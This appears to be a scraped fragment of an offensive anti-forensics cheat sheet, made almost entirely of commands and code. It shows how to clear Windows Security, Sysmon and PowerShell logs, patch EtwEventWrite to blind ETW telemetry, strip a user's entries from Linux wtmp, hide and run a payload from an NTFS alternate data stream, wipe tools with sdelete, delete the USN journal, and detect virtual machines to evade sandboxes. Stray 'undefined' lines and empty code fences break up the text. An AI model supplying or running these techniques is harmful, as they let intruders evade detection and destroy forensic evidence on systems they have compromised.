rem Clear Security log only
wevtutil cl Security

rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"

rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"

rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security

undefined

undefined

// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);

IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);

undefined

---

undefined

undefined

undefined

undefined

/* utmp_editor.c -- remove a specific entry from utmp/wtmp
 * Compile: gcc -o utmp_editor utmp_editor.c
 * Usage: ./utmp_editor /var/log/wtmp username_to_remove */
#include <stdio.h>
#include <string.h>
#include <utmp.h>

int main(int argc, char *argv[]) {
    if (argc != 3) return 1;
    FILE *fp = fopen(argv[1], "r+b");
    FILE *tmp = fopen("/tmp/.utmp_clean", "wb");
    struct utmp entry;
    while (fread(&entry, sizeof(entry), 1, fp) == 1) {
        if (strncmp(entry.ut_user, argv[2], UT_NAMESIZE) != 0) {
            fwrite(&entry, sizeof(entry), 1, tmp);
        }
    }
    fclose(fp); fclose(tmp);
    rename("/tmp/.utmp_clean", argv[1]);
    return 0;
}

undefined

---

undefined

```powershell

undefined

undefined

---

rem Hide payload in an ADS attached to a benign file
type payload.exe > C:\Users\Public\Documents\readme.txt:payload.exe

rem Execute from ADS (varies by Windows version and payload type)
wmic process call create "C:\Users\Public\Documents\readme.txt:payload.exe"

rem List ADS on a file
dir /r C:\Users\Public\Documents\readme.txt

rem PowerShell ADS operations
Set-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden" -Value "config data"
Get-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden"
Get-Item -Path "C:\Users\Public\readme.txt" -Stream *

rem Windows: SDelete from Sysinternals
sdelete -p 3 C:\Windows\Temp\payload.exe
sdelete -p 3 -s C:\Windows\Temp\tools\

rem Cipher /w overwrites deallocated space on a volume
cipher /w:C:\Windows\Temp

undefined

---

rem Delete the USN Journal (requires admin)
fsutil usn deletejournal /d C:\

rem Query USN journal to understand what it recorded about your activity
fsutil usn readjournal C: csv > usn_dump.csv
findstr /i "payload" usn_dump.csv

rem Disable USN journal creation on a volume
fsutil usn deletejournal /n C:\

undefined

---

undefined

```bash

---

undefined

```bash

---

// Common VM detection checks
using System.Management;

public static bool IsVirtualMachine() {
    using (var searcher = new ManagementObjectSearcher(
        "SELECT * FROM Win32_ComputerSystem")) {
        foreach (var item in searcher.Get()) {
            string manufacturer = item["Manufacturer"]?.ToString().ToLower() ?? "";
            string model = item["Model"]?.ToString().ToLower() ?? "";
            if (manufacturer.Contains("vmware") || manufacturer.Contains("virtual") ||
                model.Contains("virtual") || manufacturer.Contains("xen"))
                return true;
        }
    }
    // Check for VM-specific processes
    string[] vmProcesses = { "vmtoolsd", "vmwaretray", "vboxservice", "vboxtray" };
    foreach (var proc in Process.GetProcesses()) {
        if (Array.Exists(vmProcesses, p => proc.ProcessName.ToLower().Contains(p)))
            return true;
    }
    return false;
}

undefined

---